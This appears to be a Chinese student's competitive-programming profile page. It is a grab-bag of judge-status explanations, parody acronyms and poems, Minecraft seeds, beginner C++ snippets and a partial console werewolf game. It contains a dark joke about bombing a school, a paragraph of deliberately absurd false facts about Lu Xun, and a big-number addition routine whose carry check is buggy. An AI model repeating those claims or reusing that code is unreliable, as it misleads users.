• 个人简介

    微信号:hello0sun [OpenJudge - 寒梦.]点我→[https://www.luogu.com/article/rax2ktnd(http://openjudge.cn/user/1396510/)]

    chenyize

    Waiting 评测:评测请求正在等待被评测机抓取 Fetched 评测:评测请求已被评测机抓取,正在准备开始评测 Compiling 评测:正在编译中 Judging 评测:编译成功,正在评测中 Accepted 通过:程序输出完全正确 Wrong Answer 不通过:程序输出与标准答案不一致(不包括行末空格以及文件末空行) Time Limit Exceeded 不通过:程序运行时间超过了题目限制 Memory Limit Exceeded 不通过:程序运行内存空间超过了题目限制 Runtime Error 不通过:程序运行时错误(如数组越界、被零除、运算溢出、栈溢出、无效指针等) Compile Error 不通过:编译失败 System Error 错误:系统错误(如果您遇到此问题,请及时在讨论区进行反馈) Canceled 其他:评测被取消 Unknown Error 其他:未知错误 Ignored 其他:被忽略 有“成绩取消”字样则说明管理员手动标记此记录为取消,可能违反了服务条款,比如代码被发现与其他用户的代码十分相似。

    编译错误 可能有以下情况:

    1. 递交时选错了编程语言
    2. Java 的主类名没有使用 "Main"
    3. 对于 C/C++:见下
    4. 一般性的编译错误 对 C/C++ 选手的特别提醒:
    5. __int64 在 GNU C++ 中应写成 long long 类型
    6. main() 返回值必须定义为 int ,而不是 void
    7. for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效
    8. itoa 不是一个通用 ANSI 函数(标准 C/C++ 中无此函数)
    9. printf 中使用 %lf 格式是不正确的

    世界上最遥远的距离不是生与死,而是你亲手制造的BUG就在你眼前,你却怎么都找不到她。 AC=Answer Coarse=粗劣的答案

    WA=Wonderful Answer=好答案

    PC=Perfect Compile=完美的编译

    RE=Run Excellently=完美运行

    TLE=Time Limit Enough=时间充裕

    MLE=Memory Limit Enough=内存充裕

    OLE=Output Limit Enough=输出合法

    CE=Compile Easily=轻松通过编译

    UKE=Unbelievably Keep Enough Score=难以置信地保持足够的分数

    AU=All Unaccepted=全都不正确

    AC = Apareciym 显形咒

    SE=smile end(有趣的结局)

    CE=camping email(度假电子邮件)

    AC=abc calculate(abc计算)

    MLE=my lime error(我的柠檬出问题了)

    CE=count exit (数数通道)

    TLE=toe low exit(小碎步通道)

    OLE=oh light e(哦,闪亮的电子屏)

    PE=physical education(体育课)

    WA=wow accepted(噢答案)

    CE = Crucio 钻心咒 (CO 是 Colloportus 禁锢咒)

    PE = Petrificus 石化咒

    RE = Reducto 粉碎咒

    WA = Wingardium Leviosa 悬浮咒

    MLE = Muggle-Repelling 驱逐咒

    TLE = Tarantollegra 舞步咒

    OLE = Obliviate 遗忘咒

    AC = Answer Coarse=粗劣的答案

    WA = Wonderful Answer=好答案

    TLE = Time Limit Enough=时间充裕

    MLE = Memory Limit Enough=内存充裕

    CE = Compile Easily=轻松通过编译

    RE = Run Excellently=完美运行

    AC = awful correct 正确但很差劲

    WA = wonderful answer 完美的答案

    RE = right ending 正确的结果

    CE = compiled easily 轻松的编译

    TLE = time limit enough 时间充裕

    MLE = memory limit enough 空间充裕

    OLE = output length excellent 答案长度完美

    AK = all knocked-off 全部失败

    RE = Right Ending 正确答案

    AC = 访问控制器(access controller)

    WA = 警告报警(warning alarm)

    RE = 返回(Return 缩写)

    CE = 计算引擎(compute engine)

    TLE = 小型语言编辑器(tiny language editor)

    MLE = 中型语言编辑器(medium language editor)

    OLE = 超大型语言编辑器(oversized language editor)

    AC = Answer Crap 废物答案

    WA = Wow Answer! 令人震惊的答案

    RE = Run Excellently 程序正常运行

    CE = Compile Excellently 程序正常编译

    TLE = Time Limit Enough 时间限制充足

    MLE = Memory Limit Enough 内存限制充足

    PE = Pull request Excellently 一个优秀的提交

    按照赛制不同,有不同的递交、排名规则。

    OI 赛制所有题目均以最后一次递交为准,特别地,请避免编译错误。

    OI 赛制排名规则为:总分高的排在前面,总分相等则排名相同。

    ACM/ICPC 赛制所有题目递交后立即评测,以是否通过为准。

    ACM/ICPC 赛制排名规则为:通过题目数多的排在前面,通过题目数相同的做题耗时(含罚时)少的排在前。

    乐多 赛制下,选手可以多次提交一道题目,并获得实时评测结果。

    乐多 赛制下,多次提交会导致选手的得分被扣除,排行榜将显示用户的最高得分。

    乐多 赛制下,每道题的最终得分为:s*max(0.95^n,0.7).s,n分别代表本次得分和本次提交前的尝试次数。

    乐多 排名规则为:按照如上规则折算后的分数从高到低排名。

    IOI(严格) 赛制下,不同于IOI赛制,排行榜将被关闭至比赛结束。

    IOI(严格) 赛制下,每道题的排行榜得分将为用户每个子任务在所有提交中的最大得分的和。

    时间与空间限制以题目说明为准,默认限制参见限制。

    1. 递交时选错了编程语言
    2. Java 的主类名没有使用 "Main"
    3. 对于 C/C++:见下
    4. 一般性的编译错误

    对 C/C++ 选手的特别提醒:

    1. __int64 在 GNU C++ 中应写成 long long 类型
    2. main() 返回值必须定义为 int ,而不是 void
    3. for 语句中的指标变量 i 将会在如"for (int i = 0...) {...}"语句之后变为无效
    4. itoa 不是一个通用 ANSI 函数(标准 C/C++ 中无此函数)
    5. printf 中使用 %lf 格式是不正确的

    刷题是一种出路,枚举是一种思想

    打表是一种勇气,搜索是一种信仰

    剪枝是一种精神,骗分是一种日常

    爆零是一种宿命,WA是一种绝望

    TLE是一种痛苦,RE是一种放弃

    UKE是一种无奈,AC是一种原谅

    AK是一种幻想,弃赛是一种颓废

    吊打是一种必然,进队是一种奢望

    #模拟只会猜题意,贪心只能过样例

    数学上来先打表,DP一般看规律

    组合数学靠运气,计算几何瞎暴力

    #图论强行套模板,数论只会GCD

    #递归递推伤不起,搜索茫然TLE

    分治做得像枚举,暴力枚举数第一

    数据结构干瞪眼,怒刷水题找信心

    涨姿势也不容易,考试一来全懵逼

    暴力出奇迹,骗分过样例。

    数学先打表,DP看运气。

    穷举TLE,递推UKE。

    模拟MLE,贪心还CE。

    #想要骗到分,就要有方法。

    图论背模板,数论背公式。

    动规背方程,高精背代码。

    如果都没背,干脆输样例。

    模拟定想全,动规定找对。

    贪心定证明,二分LM+1。

    宜考NOIP , 小心别爆零.] 骗分过样例,暴力出奇迹。

    山重水复疑无路,make后面不加to。

    秦时明月汉时关,高价氧化低价还。

    君问归期未有期,点裂加倍匀两极。

    酒酣胸胆尚开张,GM=gR方。

    碧云天,黄叶地,高温高压催化剂。

    横看成岭侧成峰,洛伦兹力不做功。

    草树知春不久归,b方减去4ac。

    瀚海阑干百丈冰,酸脱羟基醇脱氢

    老骥伏枥,志在千里。横扫饥饿,做回自己。

    仰天大笑出门去,归来倚杖自叹息。

    垂死病中惊坐起,笑问客从何处来。

    十年生死两茫茫,喜羊羊与灰太狼。

    远赴人间惊鸿宴,鬼刀一开看不见。

    男儿当自强,对镜贴花黄。

    一朝被蛇咬,处处闻啼鸟。 枯藤老树昏鸦,上班摸鱼回家!

    读书破万卷,卷卷有爷名。

    情不知所起,一往情深,再而衰,三而竭。

    天堂有路你不走,学海无涯苦作舟。

    少小离家老大回,安能辨我是雄雌。

    巴山楚水凄凉地,蜜雪冰城甜蜜蜜。

    吾辈男儿当自强,吃个桃桃好凉凉。

    京中有善口 J 者,从此君王不早朝。

    西江月·夜行OI道中 明月AC惊鹊,

    RE半夜鸣蝉。

    稻花香里说丰年,

    听取WA声一片。

    七八个TLE,

    两三点MLE。

    旧时茅店社林边,

    路转CE忽见。

    生命的意义?

    如果26个英文字母

    A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z

    分别等于

    1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

    那么:

    获得知识,Knowledge

    =K+N+O+W+L+E+D+G+E

    =11+14+15+23+12+5+4+7+5

    =96%

    努力工作,Workhard

    =W+O+R+K+H+A+R+D

    =23+15+18+11+8+1+18+4

    =98%

    也就是说知识和努力工作,对我们人生的影响,可以达到96%和98%。

    好运,Luck

    =L+U+C+K=

    12+21+3+11=

    47%

    爱情,Love

    =L+O+V+E

    =12+15+22+5

    =54%

    看来,这些我们通常认为重要的东西 却并没起到最重要的作用。

    那么, 什么可以决定我们100%的人生呢?

    是Money(金钱)吗?

    =M+O+N+E+Y

    =13+15+14+5+25

    =72% 看来也不是。

    是Leadership (领导能力)吗?

    =L+E+A+D+E+R+S+H+I+P

    =12+5+1+4+5+18+19+9+16

    =89%

    还不是。

    金钱,权力也不能完全决定我们的生活。 那是什么呢?其实, 真正能使我们生活圆满的东西就在我们的 代码里面!

    输入输出流头文件,iostream

    =I+O+S+T+R+E+A+M

    =9+15+19+20+18+5+1+13

    =100%

    所以坚持写代码吧…

    各种老师一回头 语文老师一回头,此地空余黄鹤楼。 数学老师一回头,二次函数对称轴。 英语老师一回头,sorry加上三克油。 化学老师一回头,二氧化碳变汽油。 物理老师一回头,一跟杠杆撬地球。 生物老师一回头,试管婴儿水中游。 地理老师一回头,大陆版块乱漂流。 劳技老师一回头,破铜烂铁来走秀。 政治老师一回头,布什改行卖豆油。 美术老师一回头,蒙娜丽莎也风流。 体育老师一回头,奥运取消打篮球。 电脑老师一回头,学生全成阿Q友。 全体老师一回头,世界人民没自由。

    所有头文件: 1.首先是最方便的万能头文件,顾名思义,可以将其理解为父亲头文件 (虽然方便了懒人,但是缺点也很明显--这一头文件很占用内存): #include<bits/stdc++.h> 2.接着也是比较常用的,作用于数据流输入输出 cin>>和cout<<: #include 3.然后是各种算法的头文件(例如sort函数等): #include 4.关于数学函数的头文件(例如max( ),min( ),abs( )等)(从C语言中的math.h继承而来): #include 5.string字符串头文件: #include 6.接着是C语言的头文件: #include 7.普通队列(只能一边进一边出)(先进先出)的头文件: #include 8.双向队列(两边都可以进出)(先进先出)的头文件: #include 9.栈(先进后出,后进先出)的头文件: #include 10.列表的头文件: #include 11.动态数组(不需知道该数组的数量)的头文件: #include 12.图的头文件: #include 13.集合(内部自动有序且不含重复元素)的头文件: #include 14.控制电脑或小黑框头文件(不包含在万能头件): #include<windows.h>

    数学是火,点亮物理的灯; 物理是灯,照亮化学的路; 化学是路,通向生物的坑; 生物是坑,埋葬学理的人。 文言是火,点亮历史宫灯; 历史是灯,照亮社会之路; 社会是路,通向哲学大坑; 哲学是坑,埋葬文科生。

    班长说:走,我们去炸了学校。 副班长说:这个主意不错 化学课代表负责提取氢气 物理课代表负责拼装氢弹 数学课代表负责计算爆破面积 地理课代表负责策划爆破地点 历史课代表负责记录光辉场面 生物课代表负责事后生态环境 政治课代表负责使用法律打官司 语文课代表负责乱写文章推卸责任 英语课代表负责到外国购买进口材料 体育课代表负责屠杀XXX

    鼓起勇气敲起这键盘 只因为有你在 无向图,是否明白 害羞的我,说不出的爱 我也曾四处漂泊流浪 为求单元短路 直到我蓦然回首时 瞥见你复杂模样

    提交一次一次一遍一遍 巡查于OJ 只为了AC出现 如何卡进超限时间 增广路止不住求最大流 深广把图搜 手敲着小小的键盘 没人陪在我左右

    套用心爱的线段树 仿佛AC了全OJ 想要评测机了解 这AK的感觉

    一个人的优化那网络流 明明想AC却超时超空 虽然我的常数可能不太够 有谁能懂我温柔 做一棵平衡树随数旋转 又回溯最初的根节点 后来我才卡进这就是你想要的时限 那么默默爆零是我给你最后的温柔

    写着n方n三的暴力 形单影只的我 任BUG将我剥落 一声叹息只能打表 我也想打到那集训队 给自己骗点分 任巨佬如此强大 又何处能够骗到分

    OI总有许多挫折 请坚定自己的选择 即使在难过时刻 也要把代码写

    一个人的优化那网络流 明明想AC却超时超空 虽然我的实力可能不太够 有谁能懂我温柔 做一棵平衡树随数旋转 又回溯最初的根节点 后来我才卡进这就是你想要的时限 那么默默爆零是我给你最后的温柔

    为你写起这代码 这是鬼畜的风格 就算超时又如何 只想带给你AC 为你我努力刷题写dp 感谢你们的关注 就算明天for循环重复 有了陪伴就不孤独


    咬下一口我的快速幂吧 尝尽这测评的A(C) WA T(LE) R(E) 身在文化课的OIer们啊 不要忘记你代码 也许对这世界有着无奈 已不再是那一个蒟蒻 即使NOIP爆零也要学会去承担

    有了算法陪伴我已不再会孤单 你们的鼓励在我的心中永不会消散

    oler神

    洛谷新手村外,一个OIer开设的机房里,程序员kkk端坐在桌后。他头也不抬,冷冷地问:“你叫什么名字?”

    “QAQ__"

    “年龄?”

    “25岁。”

    “什么错误?”

    “TLE。”

    kkk程序员站起身熟练地打开病人的代码。他愣住了,蓝色的眼睛里闪出惊疑的神情。他重新审视着眼前这个人,冷冷地问:“你的洛谷名是什么颜色的?”

    “棕色。”

    “你是红名!”kkk程序员一针见血地说,“我当过管理员 (其实现在也是),这么多的代码,只有红名大佬才写的出来!”

    病人微微一笑,说:“kkk程序员,你说我是红名,我就是红名吧。”

    kkk程序员的目光柔和了,他吩咐同事:“准备改BUG。”

    kkk程序员正在换工作服,同事跑来,低声告诉他病人拒绝使用O2优化。kkk程序员的眉毛扬了起来,他走进机房,生气地说:“年轻人,在这儿要听程序员的指挥!”

    病人平静地回答:“kkk程序员,O2优化离头文件太近,我担心施行O2优化会影响头文件。而我,今后需要一个非常好用的头文件!”

    kkk程序员再一次愣住了,竟有点口吃地说:“你,你能忍受吗?你的程序需要加上无数个剪枝,把原先的代码和你改的代码全部删掉!”

    “试试看吧。”

    电脑前,一向从容镇定的kkk程序员,这次双手却有些颤抖,他额上汗珠滚滚,同事帮他擦了一次又一次。最后他忍不住开口对病人说:“你挺不住可以哼叫。”

    病人一声不吭,双手紧紧抓住身下的白床单,手背青筋暴起,汗如雨下。他越来越使劲,崭新的白床单居然被抓破了。(注:原因是因为不愿意看到自己的代码被改)

    脱去工作服的kkk程序员擦着汗走过来,由衷地说:“年轻人,我真担心你会WA过去。”

    病人脸色苍白。他勉强一笑,说:“我一直在数你的改的行数。”

    kkk程序员吓了一跳,不相信地问:“我改了多少行?”

    “2^6行。”

    kkk程序员惊呆了,大声嚷道:“你是一个真正的OIer,一个会写代码的神犇!你堪称管理员!”

    “你过奖了。”

    kkk程序员的脸上浮出慈祥的神情。他想说什么又忍住了,挥手让同事出去,然后关上机房的门,注视着病人,说:“告诉我,你的真名叫什么?”

    “chen_zhe。”

    kkk程序员肃然起敬:“啊,AK IOI的神犇,久仰久仰,认识你很荣幸。”chen_zhe友好地把手伸了过去

    已老。窃人者,自失其宝。所谓觉悟,乃是在漆黑的荒原中,开辟出一条属于自己的星光大道!当你对自己诚实的时候,世界上就没有人能够欺骗得了你。 世事易变,匪石弗转。愿追逐光明的我们,都会迎来属于自己的春天。越是困难,越要抬起头,地上可找不到任何希望! 每个细节只需要再好一点点,最终结果将会更加完美。凡是过去,皆为序章有形的东西迟早会凋零,但只有回忆是永远不会凋零的。人,百年一世;龙,百年一岁。君生吾已老,君未变,而吾已老。

    唧唧复唧唧,木兰开飞机, 开的什么机?波音747!

    问女何所思,问女何所忆。女亦有所思,没钱买飞机。

    昨夜见军帖,要用轰炸机,飞机十二架,架架买不起。

    阿爷无大钱,木兰无金银,愿去买钢铁,从此造飞机。

    东市买图纸,西市买螺丝,南市买玻璃,北市买铁皮。

    旦辞爷娘去,暮宿旧机库,不闻爹娘唤女声,但闻铁皮摩擦滋啦声。

    旦辞机库去,暮至军营旁,不闻爹娘唤女声,但闻将军大呼哈哈哈。

    万里开飞机,关山一下没。热气传机翼,日光照玻璃。

    将军被吓死,壮士魂已飞。飞来撞天子,天子躺病床.

    策勋十二转,赏赐俩耳光。可汗问所欲,木兰不愿进牢房;愿开747,飞着回故乡。

    爹娘闻女来,端起机关枪;阿姊闻妹来,当户举手枪;小弟闻姊来,磨刀霍霍向爹娘。

    开我机舱门,进我飞机舱,脱我战时袍,换上飞行装, 多装手榴弹,对外架机枪。

    出门埋炸弹,亲友皆惊忙:离别十二年,不知木兰变猖狂。

    疯子脚蹬地,呆子眼紧闭,两人并排走,谁能说我不正常?

    刚刚有个傻冒告诉我鲁迅姓周,真逗啊!周迅是个演员好吗?笑死我了!真想一板砖呼死他!我记得鲁迅原名李大钊,浙江周树人,是著名的法西斯音乐家,一生有2000多项发明,被称为太空步的创始人。他拥有一个好嗓子,小学时就凭借着90分钟跑100米的优异成绩考上了新东方烹饪学校!毕业后成功进入富士康苦心练习勃鸡, 他擅长110米栏,左手反打技术高超,拿手全垒打,大灌篮,“后空翻180度右旋体360度后蹬地翻转720度”是他的经典动作,更难得可贵的是他落地没有水花。他还是恶魔果实能力者,传说中的三忍之一,曾大闹天宫,后改邪归正,统一三国,传说他有107个弟兄,个个铜头铁臂,面目狰狞,这便是羊村的起源,她生平淡泊名利,曾经锻造五色神石补天,因杀死西门庆等原因,上梁山当了土匪,后遇到高人阿凡达的指点,收买阿童木打死了白雪公主,与七个小矮人快乐的生活在一起。!并写了名侦探柯南的故事。名侦探柯南讲述的是要成为海贼王的八神太一收服了皮卡丘并登上创界山启动光能使者打败了鲨鱼辣椒,然后跟多啦A梦一起通过黄金十二宫收集七个葫芦娃召唤神龙复活二代火影,但最终为了保卫M78星云而成为了羊村村长,同蓝精灵们一起抵抗光头强的入侵的故事。她还写了《时间简史》,后来因抽了龙王三太子的筋,以命偿命。后被太乙真人救活,又送了他不少法宝。然后又创建了‘浴谷’,‘浴谷’是一个收集变形金刚一起打小怪兽的网站。当时正值小黄人入侵时期,于是,她批量生产大白,成功抵御入侵,再一次拯救了人类!当她晚年时,热衷于炼丹,炼时经常失败,一大堆毒丹,她全吃了,等他快死之时,她与诸葛亮在大观园里吃唐僧肉,挽救了她10年寿命,哦,对,是100年才对,接着诸葛亮死了,她又把诸葛亮和曹操还有关羽的骨灰煲汤喝了,饱~。紧接着,他的爸爸苏轼,表哥苏辙和表舅苏洵创作了神仙版《清明上河图》并封印了敖丙和哪吒,并制造了太乙真人——猪八戒,猪八戒因和镇元大仙吃小孩被鲁迅送给孙悟空的前妈和后妈:黑白无常-范无救用来煲汤,黑白无常-谢必安用来煮饭,结果饭里有把如意金箍棒,把孙悟空刺死了。然后他又发明了四大名著,分别是:《大白与小白》,《基佬的爱情故事》,《超人搞事员》和 《吃屎记》......然后她的儿子-玉皇大帝,因为搞gay被二郎神发现而搞在一起,最后邓某将他们分开,接着❤,紧接着特朗普发现,将他们斩了。天才眼镜狗林黛玉大喊强奸,鲁迅就叫周树人号召全联合国发动核弹计划,结果因为缺少骆驼的屎尿屁而发生核泄漏,只有骆驼活了下来,辛亏阿里巴巴和鲁迅发生关系,变成了莱利兄弟制造飞机躲过一劫,不幸阿里巴巴阵亡,复活了爱迪生,只好与她相爱相杀,全人类复活,并交配出了变种人。在深夜13号的星期五,金刚狼化身杰森,与邦邦一起买炸弹,结果复活的敖丙和哪吒因为将太乙真人塞入陈塘关,令其爆炸,地球失去重力,形成巨型黑洞,把宇宙消灭了。辛亏鲁迅和哪吒在最后关头进入四维空间,搞在一起,过上了幸福的生活!!!

    3.1415926535 8979323846 2643383279 5028841971 6939937510 8214808651 3282306647 0938446095 5058223172 5359408128 4811174502 8410270193 8521105559 6446229489 5493038196 4428810975 6659334461 2847564823 3786783165 2712019091 4564856692 3460348610 4543266482 1339360726 0249141273 7245870066 0631558817 4881520920 9628292540 9171536436 7892590360 0113305305 4882046652 1384146951 9415116094 3305727036 5759591953 0921861173 8193261179 3105118548 0744623799 6274956735 1885752724 8912279381 8301194912 9833673362 4406566430 8602139494 6395224737 1907021798 6094370277 0539217176 2931767523 8467481846 7669405132 MC种子 种子:3480

    雪地

    种子:3338333

    村庄

    种子:134

    神种,一开始在云上飞啊飞,一会儿后从高空掉进海里,十分壮观(危险)

    种子:7603

    丛林,很多西瓜,很多可可豆

    种子:46700

    一开始卡死,然后从天空掉下来掉到水里,旁边有许多岩浆池

    种子:7038

    一直往前走,是沼泽,再往前走一会儿就是大型村庄,真的挺大的

    种子:86480

    出生在树上,背后超多露天矿

    种子:46807

    黑森林,有很多又长又粗的树,还有苔石,想歪的给我去面壁

    种子:1405612633

    出生点在万米高空上,然后掉进海里

    种子:1406207419

    有限地图的村庄种子,内存空间不够档有福利了

    种子:mimi

    出生在村庄,村庄水井下面是地牢,有末地传送门 种子:626830893 冰原

    种子:1403775115

    沙漠村庄,可以从铁匠铺旁边的稻田水里挖下去

    种子:4004

    黑森林

    种子:lzsb

    一直往前走有村庄

    种子:560

    出生在村庄,是两个村庄连在一起的,可惜 没有教堂和铁匠铺,两个都是小村庄

    种子:43046

    身后石头山脉,挺好看,资源丰富

    种子:67

    出生点马上能看见村庄

    种子:3846

    雪地,有冰刺塔,但是很少,只有几座

    种子:973747

    前面浮空岛,可以在岛上做家,妈妈再也不用担心僵尸的到我了

    种子:3868686

    出生点的左边一直走,走到一个很多仙人掌的地方,往右边一看,有一个沙漠村庄

    种子:1406096486

    出生在小岛上,直走过河后,往右走,有一片沼泽,沿着他往前走,会见到第一个村庄,这是三个村庄连在一起的。其中有两个大村庄

    种子:Steve

    村庄

    种子:1999323

    出生早沼泽,山脉和丛林交界处,风景很不错

    种子:MuYun

    出生点杉木林,有狼

    种子:1402376262

    蘑菇岛,本贴第一个蘑菇岛

    种子:wocaoexo

    粘土山,就是五彩的

    种子:999

    村庄

    种子:1008612

    红色沙漠和粘土山

    float:单精度浮点数型(还正常)

    double:双精度浮点数型(还正常)

    triple:三精度浮点数型

    quaduupling:四精度浮点数型

    quintupling:五精度浮点数型

    sextuple:六精度浮点数型

    septuple:七精度浮点数型

    octuple:八精度浮点数型

    nonuple:九精度浮点数型

    decuple:十精度浮点数型

    doooooooooooooooouble:超长精度浮点数型

    super double:超长精度浮点数型

    short:16位整型(还正常)

    int:32位整型(还正常)

    long:32或64位整型(还正常)

    long long:64位整型(还正常)

    long long long:128位整型

    long long long long:256位整型

    long long long long long:512位整型

    long long long long long long:1024位整型

    long long long long long long long:2048位整型

    long long long long long long long long:4096位整型

    loooooooooooooooooong:超长位数整型

    super long:超长位数整型 竞赛用:

    #include <iostream>//输入输出
    #include <cstdio>//加载库
    #include <cstring>//跟字符串有关
    #include <string>//跟字符串有关
    #include <cmath>//数学库
    #include <cstdlib>//一些函数
    #include <queue>//队列
    #include <algorithm>//算法
    using namespace std;
    int main(){
    freopen(".in","r",stdin);
    freopen(".out","w",stdout);
    int a,b;
    cin >>a>>b;
    cout <<a+b;
    return 0;
    }
    
    //高精度乘法
    #include <bits/stdc++.h>
    using namespace std;
    int a[2001],b[2001],ans[4002];
    int main(){
    string s1,s2;
    cin >>s1>>s2;
    reverse(s1.begin(),s1.end());
    reverse(s2.begin(),s2.end());
    int len1=s1.size(),len2=s2.size();
    for(int i=0;i<len1;i++) a[i]=s1[i]-'0';
    for(int i=0;i<len2;i++) b[i]=s2[i]-'0';
    //正确
    //	for(int i=0;i<len1;i++){
    //		cout <<a[i]<<" ";
    //	}
    //	cout <<endl;
    //	for(int i=0;i<len2;i++){
    //		cout <<b[i]<<" ";
    //	}
    //	return 0;
    for(int i=0;i<len1;i++){
    for(int j=0;j<len2;j++){
    ans[i+j]+=a[i]*b[j];
    ans[i+j+1]+=ans[i+j]/10;
    ans[i+j]%=10;
    }
    }
    int len=len1+len2;
    while(ans[len-1]==0&&len>=2){
    len--;
    }
    for(int i=len-1;i>=0;i--){
    cout <<ans[i];
    }
    return 0;
    }
    
    //高精度加法
    #include <bits/stdc++.h>
    using namespace std;
    int a[1001],b[1001],ans[10001];
    int main(){
    string s1,s2;
    cin >>s1>>s2;
    int s1len=s1.size(),s2len=s2.size(),len=max(s1len,s2len);
    reverse(s1.begin(),s1.end());
    reverse(s2.begin(),s2.end());
    for(int i=0;i<s1len;i++){
    a[i]=int(s1[i]-'0');
    }
    for(int i=0;i<s2len;i++){
    b[i]=int(s2[i]-'0');
    }
    for(int i=0;i<len;i++){
    ans[i]+=a[i]+b[i];
    if(ans[i]>=10){
    ans[i+1]++;
    ans[i]-=10;
    }
    }
    //	for(int i=0;i<len;i++){
    //		cout <<ans[i]<<" ";
    //	}
    //	return 0;
    if(a[0]+b[0]>=10){
    for(int i=len;i>=0;i--){
    cout <<ans[i];
    }
    }else{
    for(int i=len-1;i>=0;i--){
    cout <<ans[i];
    }
    }
    return 0;
    }
    

    佛祖

    \\\\ \\ \\ \\ \\ \\ \\ \\ || || || || || || // // // // // // // ////
    \\\\ \\ \\ \\ \\ \\ \\        _ooOoo_          // // // // // // ////
    \\\\ \\ \\ \\ \\ \\          o8888888o            // // // // // ////
    \\\\ \\ \\ \\ \\             88" . "88               // // // // ////
    \\\\ \\ \\ \\                (| -_- |)                  // // // ////
    \\\\ \\ \\                   O\  =  /O                     // // ////
    \\\\ \\                   ____/`---'\____                     // ////
    \\\\                    .'  \\|     |//  `.                      ////
    //==                   /  \\|||  :  |||//  \                     ==\\
    //==                  /  _||||| -:- |||||-  \                    ==\\
    //==                  |   | \\\  -  /// |   |                    ==\\
    //==                  | \_|  ''\---/''  |   |                    ==\\
    //==                  \  .-\__  `-`  ___/-. /                    ==\\
    //==                ___`. .'  /--.--\  `. . ___                  ==\\
    //==             ."" '<  `.___\_<|>_/___.'  >' "".               ==\\
    //==            | | :  `- \`.;`\ _ /`;.`/ - ` : | |              \\\\
    ////            \  \ `-.   \_ __\ /__ _/   .-` /  /              \\\\
    ////      ========`-.____`-.___\_____/___.-`____.-'========      \\\\
    ////                           `=---='                           \\\\
    //// //   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  \\ \\\\
    //// // //      佛祖保佑      永远AC       永不修改        \\ \\ \\\\
    //// // // // // // || || || || || || || || || || \\ \\ \\ \\ \\ \\\\
    
    
    
    /*
    狼人杀代码(洛谷原创)
    */
    
    #include<bits/stdc++.h>
    #include<windows.h>
    #include<conio.h>
    using namespace std;
    const int daytime=0,night=1;
    int day=0, during_time=daytime, player_number, my_number;
    HWND hwnd=GetForegroundWindow();
    const int blue=0,yellow=1,red=2,green=3,purple=4,white=5;//颜色常量 
    void color(int c){
        switch(c){
            case red:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED);break;
            case green:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_GREEN);break;
            case yellow:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN);break;
            case blue:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_BLUE);break;
            case white:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_GREEN | FOREGROUND_BLUE);break;
            case purple:SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY | FOREGROUND_RED |FOREGROUND_BLUE);break;
        }
    }
    int idx_police=-1;
    void gotoxy(int x,int y){
        COORD position;
        position.X=x;
        position.Y=y;
        SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE), position);
    }
    void init_Show_Window(){
        system("mode con lines=60 cols=188"); 
        ShowWindow(hwnd,SW_MAXIMIZE);//窗口最大化 
        DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE), SC_CLOSE, MF_BYCOMMAND);
        DrawMenuBar(GetConsoleWindow());//删除×字符 
    }
    
    /*玩家类*/
    const int nvwu=0,cunmin=1,yuyanjia=2,langren=3,lieren=4,shouwei=5,good=6,die=1,life=2;
    class player{
    public:
        int type;
        int die_or_life;
        int how(){
            return die_or_life;
        }
        int is_light;//是否已经公布 
        int killer;
    };
    player players[1000];
    
    /*转换白天模式*/ 
    void change_daytime(){
        during_time=daytime;
        day++;
    }
    
    /*转换黑夜模式*/
    void change_night(){
        during_time=night;
    }
    int nnvwu=0,ncunmin=0,nyuyanjia=0,nlangren=0,nlieren=0,nshouwei=0;
    int idxnvwu,idxshouwei,idxyuyanjia,idxlieren,idxlangren[4]={-1,-1,-1,-1};
    
    /*b是否在Arr中*/
    bool is_include(int arr[],int b,int l){
        for(int i=0;i<l;i++){
            if(arr[i]==b)
             return true;
        }
        return false;
    }
    
    /*初始化人数*/
    void init_players(){
        my_number=rand()%player_number;
        if(player_number==12) nlangren=4;
        else if(player_number>=10) nlangren=3;
        else nlangren=2;
        for(int i=0;i<player_number;i++)
        {
            players[i].die_or_life=life;
            players[i].is_light=0;
            players[i].type=-1;
            players[i].killer=2147483647;
        }
        for(int i=0;i<nlangren;i++)
        {
            int p=rand()%player_number;
            if(!is_include(idxlangren,p,4))
                idxlangren[i]=p,players[p].type=langren;
            else
                i--;
            Sleep(rand()%80+100);
        }
        if(player_number==12)
        {
            do{
                idxshouwei=rand()%player_number;
            }while(players[idxshouwei].type!=-1);   
            players[idxshouwei].type=shouwei;   
        }
        do{
            idxnvwu=rand()%player_number;
        }while(players[idxnvwu].type!=-1);
        players[idxnvwu].type=nvwu;
        if(player_number>=10)
        {
            do{
                idxlieren=rand()%player_number;
            }while(players[idxlieren].type!=-1);
            players[idxlieren].type=lieren;   
        }
        do{
            idxyuyanjia=rand()%player_number;
        }while(players[idxyuyanjia].type!=-1);
        players[idxyuyanjia].type=yuyanjia;
        for(int i=0;i<player_number;i++)
            if(players[i].type==-1)
                players[i].type=cunmin,
                ncunmin++;
        if(players[my_number].type==langren)
        {
            for(int i=0;i<nlangren;i++)
            {
                players[idxlangren[i]].is_light=1;
            }
        }
        players[my_number].is_light=1;
    }
    
    /*在屏幕上打印东西*/
    void print(){
        gotoxy(0,0);
        cout<<"作者:洛谷393864";
        gotoxy(90,0);
        if(during_time==night)
            color(red);
        else
            color(blue);
        printf("第%d天 | ",day);
        if(during_time==night) cout<<"黑夜";
        else cout<<"白天";
    
        gotoxy(0,3);
        color(blue);
        cout<<" 我的号位:"<<my_number+1;
        for(int i=0;i<player_number;i++){
            gotoxy(i*8+1,4);
